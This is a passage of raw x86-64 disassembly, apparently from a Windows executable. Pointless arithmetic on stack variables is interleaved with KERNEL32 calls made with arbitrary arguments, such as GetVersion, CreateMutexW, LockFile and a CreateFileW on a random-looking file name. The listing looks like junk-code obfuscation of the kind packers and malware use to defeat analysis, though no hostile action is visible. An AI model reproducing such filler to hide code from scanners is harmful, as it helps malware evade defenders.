mov dword [rsp + 0xa394], eax
movzx eax, word [rsp + 0x2c6c]
mov rcx, qword [0x14036a300]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0x13608]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x14036a100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov dword [rsp + 0xa4e4], eax
mov rax, qword [rsp + 0x16298]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ed4]
sar eax, cl
mov dword [rsp + 0xa42c], eax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa4e8], eax
mov eax, dword [rsp + 0xa474]
mov dword [rsp + 0xa4ec], eax
mov rax, qword [rsp + 0x14278]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13410]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d60], ax
mov rax, qword [rsp + 0x15ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13a90]
mov byte [rcx], al
lea rax, [rsp + 0x52a8]
mov qword [rsp + 0x16478], rax
mov rax, qword [rsp + 0x14ef0]
mov ecx, dword [rsp + 0x7818]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x144e8]
mov dword [rcx], eax
mov eax, dword [0x140369ed0]
mov ecx, dword [rsp + 0x9c9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x93b0], eax
lea rax, [rsp + 0x9f28]
mov qword [0x14036a418], rax
lea rdx, [rsp + 0x42d80]
mov rcx, qword [rsp + 0x13648]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa4e8], eax
mov rax, qword [rsp + 0x16088]
mov rcx, qword [rsp + 0x13440]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x13958]
movzx eax, word [rax]
mov word [rsp + 0x2e38], ax
movsx eax, byte [rsp + 0x6e0]
mov rcx, qword [rsp + 0x15038]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79f], al
movzx eax, byte [rsp + 0x767]
mov rcx, qword [rsp + 0x14880]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x157c0]
mov byte [rcx], al
lea rax, [rsp + 0x20d8]
mov qword [rsp + 0x16480], rax
mov eax, dword [rsp + 0xa424]
mov ecx, dword [rsp + 0x8f34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac0], eax
mov rax, qword [rsp + 0x14b98]
mov rcx, qword [rsp + 0x15e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8acc], eax
mov rax, qword [0x140369fb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15ee0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c7], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
mov rax, qword [rsp + 0x13e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c88]
or eax, ecx
mov word [0x140362458], ax
mov rax, qword [rsp + 0x134a0]
mov rcx, qword [rsp + 0x134e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x160a0]
mov eax, dword [rax]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x16338]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9cd0]
sar eax, cl
mov rcx, qword [rsp + 0x14860]
mov dword [rcx], eax
lea rax, [rsp + 0x9dec]
mov qword [rsp + 0x16488], rax
mov rax, qword [0x14036a318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15128]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bec]
mov rcx, qword [rsp + 0x13738]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x18cc], ax
mov eax, dword [rsp + 0xa1a8]
mov ecx, dword [0x14036a370]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58e4], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x72b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa134], eax
lea rax, [rsp + 0x73e]
mov qword [0x14036a420], rax
lea rax, [0x14036247c]
mov qword [rsp + 0x16490], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14510]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x148c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2d98]
movzx ecx, word [rsp + 0x2bf8]
imul eax, ecx
mov word [rsp + 0x2b8c], ax
mov eax, dword [rsp + 0x833c]
mov dword [rsp + 0xa4f4], eax
mov eax, dword [rsp + 0x6590]
mov ecx, dword [rsp + 0x6ce0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa218], eax
lea rax, [rsp + 0xa23c]
mov qword [rsp + 0x16498], rax
mov rax, qword [0x14036a070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa134], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa160], eax
mov eax, dword [rsp + 0xa34c]
mov dword [rsp + 0xa4f8], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a94]
and eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rax, str.f_t_
mov qword [0x14036a428], rax
mov dword [rsp + 0x20], 0x3704
mov r9d, 0x2536
mov r8d, 0x2fe
mov edx, 0xfc0
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9fb4], eax
mov eax, dword [rsp + 0x6438]
mov ecx, dword [rsp + 0xa090]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15798]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f9c], eax
mov rax, qword [rsp + 0x14040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9768], eax
mov eax, dword [rsp + 0xa314]
mov ecx, dword [str.7__]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e74], eax
lea rax, [rsp + 0xa2f8]
mov qword [rsp + 0x164a0], rax
mov rax, qword [rsp + 0x14d30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x453]
sub eax, ecx
mov byte [rsp + 0x74f], al
mov rax, qword [rsp + 0x14fd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x143c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14d08]
mov word [rcx], ax
lea rax, [rsp + 0x76f]
mov qword [rsp + 0x164a8], rax
mov rax, qword [rsp + 0x14280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15d48]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13c38]
mov word [rcx], ax
mov rax, qword [rsp + 0x15f70]
mov eax, dword [rax]
mov rcx, qword [0x14036a100]
mov qword [rsp + 0x164b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x164b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14036a100]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d50]
mov dword [rsp + 0xa4fc], eax
mov rax, qword [rsp + 0x152e0]
movzx eax, word [rax]
mov rcx, qword [0x140369e28]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14898]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x14510]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x74d], al
mov rax, qword [rsp + 0x15fe0]
mov rcx, qword [rsp + 0x152d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x557c], eax
mov rax, qword [rsp + 0x15338]
mov rcx, qword [rsp + 0x15a98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8140], eax
lea rax, [rsp + 0x8590]
mov qword [rsp + 0x164b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.aOLB92zzydivb3X
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x164c0], rax
mov rax, qword [rsp + 0x13c98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dac], eax
movzx eax, word [rsp + 0x2e30]
movzx ecx, word [rsp + 0x2c40]
add eax, ecx
mov word [rsp + 0x2ca4], ax
movzx eax, byte [rsp + 0x27e]
mov byte [0x140363ffe], al
mov rax, qword [rsp + 0x133a0]
mov eax, dword [rax]
mov dword [rsp + 0xa500], eax
mov rax, qword [0x140369dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa368], eax
mov eax, dword [rsp + 0x9848]
mov dword [rsp + 0xa504], eax
mov rax, qword [rsp + 0x15c78]
mov rcx, qword [rsp + 0x14af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ccc], eax
mov eax, dword [rsp + 0x9a54]
mov ecx, dword [rsp + 0x965c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x55dc], eax
mov rax, qword [rsp + 0x15a80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x157a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x137a0]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa338], eax
movsx eax, byte [rsp + 0x783]
mov rcx, qword [0x14036a200]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1bd4]
mov word [rsp + 0x2e3c], ax
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ed0], eax
movzx eax, byte [rsp + 0x37f]
movzx ecx, byte [rsp + 0x7b8]
sub eax, ecx
mov rcx, qword [0x14036a3a8]
mov byte [rcx], al
mov eax, dword [0x140369c64]
mov rcx, qword [rsp + 0x12ed8]
mov qword [rsp + 0x164c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x164c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x164a0]
mov dword [rcx], eax
lea rax, [rsp + 0x9f1c]
mov qword [rsp + 0x164d0], rax
movzx eax, byte [rsp + 0x75d]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13708]
mov byte [rcx], al
mov rax, qword [rsp + 0x15090]
movzx eax, word [rax]
movzx ecx, word [0x140362488]
shl eax, cl
mov word [rsp + 0x2420], ax
lea rax, [rsp + 0x871c]
mov qword [rsp + 0x164d8], rax
mov eax, dword [rsp + 0x9d48]
mov ecx, dword [rsp + 0x8df8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b18]
mov dword [rcx], eax
lea rax, [rsp + 0x9b3c]
mov qword [rsp + 0x164e0], rax
mov eax, dword [rsp + 0x5ca0]
mov ecx, dword [rsp + 0xa24c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e30], eax
mov rax, qword [rsp + 0x15260]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140369e20]
mov byte [rcx], al
mov rax, qword [rsp + 0x163d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24a4]
sub eax, ecx
mov rcx, qword [rsp + 0x130a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x152a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c20], eax
mov rax, qword [rsp + 0x15408]
mov ecx, dword [0x1403624fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13690]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x164e8], rax
mov rax, qword [rsp + 0x12ea0]
movzx eax, byte [rax]
mov byte [rsp + 0x7cf], al
movsx eax, word [rsp + 0x2c90]
movsx ecx, word [rsp + 0x2194]
or eax, ecx
mov word [rsp + 0x2d9c], ax
movzx eax, byte [rsp + 0x7cc]
mov byte [rsp + 0x7d0], al
movzx eax, word [0x140362568]
movzx ecx, word [rsp + 0x2090]
imul eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [rsp + 0x14128]
mov rcx, qword [rsp + 0x14130]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d10]
mov eax, dword [rax]
mov dword [0x14036a430], eax
mov rax, qword [0x140369d70]
mov ecx, dword [rsp + 0xa45c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x97b0], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5344]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b40]
mov eax, dword [rax]
mov dword [rsp + 0xa508], eax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13110]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2bd]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14a50]
mov byte [rcx], al
lea rax, [rsp + 0xa42c]
mov qword [rsp + 0x164f0], rax
mov rax, qword [rsp + 0x14d78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa218]
shl eax, cl
mov dword [rsp + 0x9fa8], eax
mov eax, dword [rsp + 0x6a84]
movzx ecx, al
mov eax, dword [rsp + 0x9848]
sar eax, cl
mov dword [rsp + 0x5478], eax
mov eax, dword [rsp + 0xa3d0]
mov ecx, dword [rsp + 0xa404]
or ecx, eax
mov eax, ecx
mov dword [0x140362504], eax
movzx eax, byte [rsp + 0x510]
mov rcx, qword [rsp + 0x156f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14230]
mov byte [rcx], al
mov rax, qword [rsp + 0x15fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bcc]
sub eax, ecx
mov rcx, qword [rsp + 0x15348]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa060], eax
lea rax, [rsp + 0x2220]
mov qword [rsp + 0x164f8], rax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0x16230]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x743], al
lea rax, [rsp + 0xa070]
mov qword [rsp + 0x16500], rax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [rsp + 0xa4b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b8]
and eax, ecx
mov byte [rsp + 0x225], al
lea rax, [rsp + 0x2c28]
mov qword [rsp + 0x16508], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rax, [rsp + 0x8770]
mov qword [0x14036a438], rax
mov rax, qword [rsp + 0x139b8]
mov ecx, dword [rsp + 0x752c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14360]
mov dword [rcx], eax
lea rax, [rsp + 0x9b2c]
mov qword [rsp + 0x16510], rax
mov rax, qword [0x140369c30]
mov rcx, qword [rsp + 0x13920]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13778]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x37d]
mov byte [rsp + 0x7d1], al
mov rax, qword [rsp + 0x13380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x159e0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x151d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x15150]
mov eax, dword [rax]
mov ecx, dword [0x140362504]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e1c], eax
lea rax, [rsp + 0x9b60]
mov qword [rsp + 0x16518], rax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0x9d1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6878]
mov ecx, dword [rsp + 0x9d68]
sub ecx, eax
mov eax, ecx
mov dword [0x14036256c], eax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0x16520], rax
movsx eax, byte [rsp + 0x7b3]
mov rcx, qword [0x14036a200]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15430]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14e80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13b88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7cc]
mov byte [rsp + 0x7d2], al
mov rax, qword [rsp + 0x145a8]
movzx eax, word [rax]
movzx ecx, word [0x14036a3e0]
xor eax, ecx
mov rcx, qword [rsp + 0x13e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x15798]
mov rcx, qword [rsp + 0x15d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7560], eax
mov rax, qword [rsp + 0x14138]
mov ecx, dword [rsp + 0x9c44]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15ac0]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4ba30]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa50c], eax
mov rax, qword [0x140369ee0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23a]
and eax, ecx
mov rcx, qword [rsp + 0x14d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
add eax, ecx
mov rcx, qword [0x14036a0f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x133a0]
mov eax, dword [rax]
mov dword [rsp + 0xa510], eax
mov rax, qword [rsp + 0x13b50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5bec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e6c], eax
lea rdx, [rsp + 0x43480]
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c30], eax
mov eax, dword [rsp + 0x9124]
mov ecx, dword [rsp + 0x8cfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9880], eax
mov rax, qword [rsp + 0x14d00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d78], eax
movzx eax, byte [rsp + 0x774]
mov byte [rsp + 0x7d3], al
mov rax, qword [rsp + 0x13b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24a4]
and eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9ae8]
mov ecx, dword [0x140369f08]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x156c0]
mov dword [rcx], eax
mov edx, 0x22fd
mov rcx, qword [rsp + 0x15a30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa514], eax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x789c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9250], eax
movsx eax, byte [rsp + 0x553]
movsx ecx, byte [rsp + 0x771]
shl eax, cl
mov byte [0x140363f6f], al
mov rax, qword [rsp + 0x137f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd0]
xor eax, ecx
mov word [rsp + 0x1570], ax
movzx eax, word [rsp + 0x2cdc]
mov word [rsp + 0x2e40], ax
movzx eax, byte [rsp + 0x732]
movzx ecx, byte [rsp + 0x7ac]
sar eax, cl
mov byte [rsp + 0x74f], al
mov rax, qword [rsp + 0x143b0]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa474], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x8934]
mov dword [rsp + 0xa518], eax
mov rax, qword [0x140369c58]
mov rcx, qword [rsp + 0x13ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x152f0]
mov rcx, qword [rsp + 0x15528]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7388], eax
mov eax, dword [0x14036256c]
mov ecx, dword [rsp + 0xa4d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15aa8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b7c]
movzx ecx, word [rsp + 0x1ab8]
and eax, ecx
mov word [rsp + 0x2cb8], ax
mov edx, 0x669
mov rcx, qword [rsp + 0x15308]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa000], eax
movzx eax, byte [rsp + 0x1b8]
mov byte [0x140363fff], al
lea rax, [rsp + 0xa218]
mov qword [rsp + 0x16528], rax
mov rax, qword [rsp + 0x14310]
mov eax, dword [rax]
mov ecx, dword [0x14036a358]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b38]
mov eax, dword [rax]
mov dword [rsp + 0xa51c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f9c], eax
mov rax, qword [rsp + 0x13ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa38c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d34], eax
mov rax, qword [0x14036a360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76d]
add eax, ecx
mov rcx, qword [rsp + 0x132a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15088]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15078]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29a4], ax
mov rax, qword [rsp + 0x135a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x731]
add eax, ecx
mov rcx, qword [rsp + 0x160d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1e24]
mov word [rsp + 0x2e44], ax
mov rax, qword [rsp + 0x16178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa17c]
or ecx, eax
mov eax, ecx
mov dword [0x140362570], eax
mov rax, qword [0x140369e70]
mov ecx, dword [rsp + 0x6798]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa404], eax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
mov byte [rsp + 0x7d4], al
movzx eax, word [rsp + 0x2bbc]
movzx ecx, word [rsp + 0x1a5c]
shl eax, cl
mov word [rsp + 0x2af0], ax
mov rax, qword [rsp + 0x14390]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x91d4]
sar eax, cl
mov dword [rsp + 0x9bb4], eax
lea rax, [rsp + 0x5414]
mov qword [rsp + 0x16530], rax
mov rax, qword [rsp + 0x130e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa0f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5464], eax
mov eax, dword [rsp + 0x9c20]
mov ecx, dword [0x140369d38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7330], eax
movzx eax, word [rsp + 0x2cdc]
mov rcx, qword [rsp + 0x15bf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b6c], ax
movzx eax, byte [0x140363f0e]
mov rcx, qword [rsp + 0x15d38]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140363f0d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16538], rax
lea rdx, [rsp + 0x42a00]
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1f4], eax
mov rax, qword [rsp + 0x155b8]
mov rcx, qword [rsp + 0x161a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fbc], eax
lea rax, [rsp + 0x55dc]
mov qword [rsp + 0x16540], rax
mov eax, dword [rsp + 0x59fc]
mov ecx, dword [0x1403624d4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0xfca
mov r8d, 0x2c04
mov edx, 0x10
mov rcx, qword [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa520], eax
lea rax, [rsp + 0xa454]
mov qword [rsp + 0x16548], rax
mov rax, qword [rsp + 0x130e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144a8]
mov dword [rcx], eax
movsx eax, word [0x1403624c8]
movsx ecx, word [rsp + 0x2c58]
add eax, ecx
mov rcx, qword [rsp + 0x14488]
mov word [rcx], ax
mov edx, 0x1125
mov rcx, qword [rsp + 0x13d88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa514], eax
lea rax, [rsp + 0x66b]
mov qword [rsp + 0x16550], rax
movzx eax, byte [rsp + 0x7b4]
movzx ecx, byte [rsp + 0x773]
sub eax, ecx
mov byte [rsp + 0x7d3], al
lea rax, [rsp + 0x2df0]
mov qword [0x14036a440], rax
lea rax, [rsp + 0xa18c]
mov qword [rsp + 0x16558], rax
mov rax, qword [rsp + 0x14a40]
mov rcx, qword [rsp + 0x15568]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa128], eax
mov rax, qword [0x14036a000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16428]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2850], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4c9f0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa524], eax
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
mov byte [rsp + 0x7d5], al
mov rax, qword [rsp + 0x144a0]
mov rcx, qword [rsp + 0x13600]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x130d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14036a1d0]
shl eax, cl
mov dword [rsp + 0x7a44], eax
mov rax, qword [rsp + 0x155e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x52fc], eax
mov eax, dword [rsp + 0x9db0]
mov dword [rsp + 0xa528], eax
movzx eax, byte [0x14035259f]
movzx ecx, byte [rsp + 0x73a]
cdq
idiv ecx
mov rcx, qword [0x140369d40]
mov byte [rcx], al
mov rcx, qword [rsp + 0x15908]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [rsp + 0x2db8]
sar eax, cl
mov word [rsp + 0x10dc], ax
lea rdx, [rsp + 0x42bc0]
mov rcx, qword [rsp + 0x143f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa144], eax
mov rax, qword [rsp + 0x13518]
mov rcx, qword [rsp + 0x15e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12fb0]
mov dword [rcx], eax
lea rax, [rsp + 0x9888]
mov qword [rsp + 0x16560], rax
